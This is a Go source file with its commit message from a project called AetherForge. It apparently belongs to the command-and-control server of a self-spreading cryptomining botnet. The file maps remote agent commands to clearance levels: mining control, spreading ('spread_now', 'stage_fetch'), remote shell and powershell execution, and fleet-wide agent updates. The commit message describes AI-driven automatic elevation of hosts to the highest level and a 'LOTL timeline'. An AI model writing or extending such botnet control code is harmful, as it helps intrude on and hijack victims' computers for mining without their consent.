Files
AetherForge/server/internal/clearance/levels.go
AetherForge f89ba94cb7 Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
2026-06-07 02:30:00 -07:00

115 lines
3.0 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package clearance
import (
"fmt"
"strings"
)
// Security clearance levels (L0L4).
const (
L0 = 0 // stats / read-only
L1 = 1 // mining commands
L2 = 2 // spread
L3 = 3 // shell
L4 = 4 // forge / version
)
// LevelLabel returns the badge string for a clearance level.
func LevelLabel(level int) string {
if level < L0 {
level = L0
}
if level > L4 {
level = L4
}
return fmt.Sprintf("L%d", level)
}
// LevelPermissions describes what each level allows (UI tooltips).
func LevelPermissions(level int) string {
switch level {
case L0:
return "stats and read-only probes"
case L1:
return "mining: pause, resume, restart"
case L2:
return "spread: discover_and_join, spread_now, stage_fetch"
case L3:
return "shell: exec_shell, agent_command"
case L4:
return "forge: set_agent_version, reorder_tiers fleet-wide"
default:
return "unknown clearance"
}
}
// ActionRequiredLevel maps a remote agent action to the minimum clearance level.
func ActionRequiredLevel(action string) int {
switch normalizeKey(action) {
case "pause", "resume", "restart", "restart_mining", "start_mining", "stop":
return L1
case "discover_and_join", "spread_now", "stage_fetch":
return L2
case "exec", "exec_shell", "powershell", "agent_command":
return L3
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
return L4
default:
return L0
}
}
// CommandRequiredLevel maps a fleet AI command type to the minimum clearance level.
func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
typ := normalizeKey(cmdType)
switch typ {
case "noop", "":
return L0
case "restart_mining":
return L1
case "discover_and_join", "spread_now", "stage_fetch":
return L2
case "agent_command":
if args != nil {
if action, ok := args["action"].(string); ok && action != "" {
return ActionRequiredLevel(action)
}
}
return L3
case "bulk_command":
if args != nil {
if action, ok := args["action"].(string); ok && action != "" {
return ActionRequiredLevel(action)
}
}
return L1
case "set_agent_version", "reorder_tiers":
return L4
default:
return ActionRequiredLevel(typ)
}
}
// EnforceClearance returns an error when agentClearance is below the command requirement.
func EnforceClearance(cmdType string, args map[string]interface{}, agentClearance int) error {
required := CommandRequiredLevel(cmdType, args)
if agentClearance >= required {
return nil
}
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), cmdType, LevelLabel(required))
}
// EnforceAction is the manual API path for raw agent actions.
func EnforceAction(action string, agentClearance int) error {
required := ActionRequiredLevel(action)
if agentClearance >= required {
return nil
}
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), action, LevelLabel(required))
}
func normalizeKey(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
return strings.ReplaceAll(s, "-", "_")
}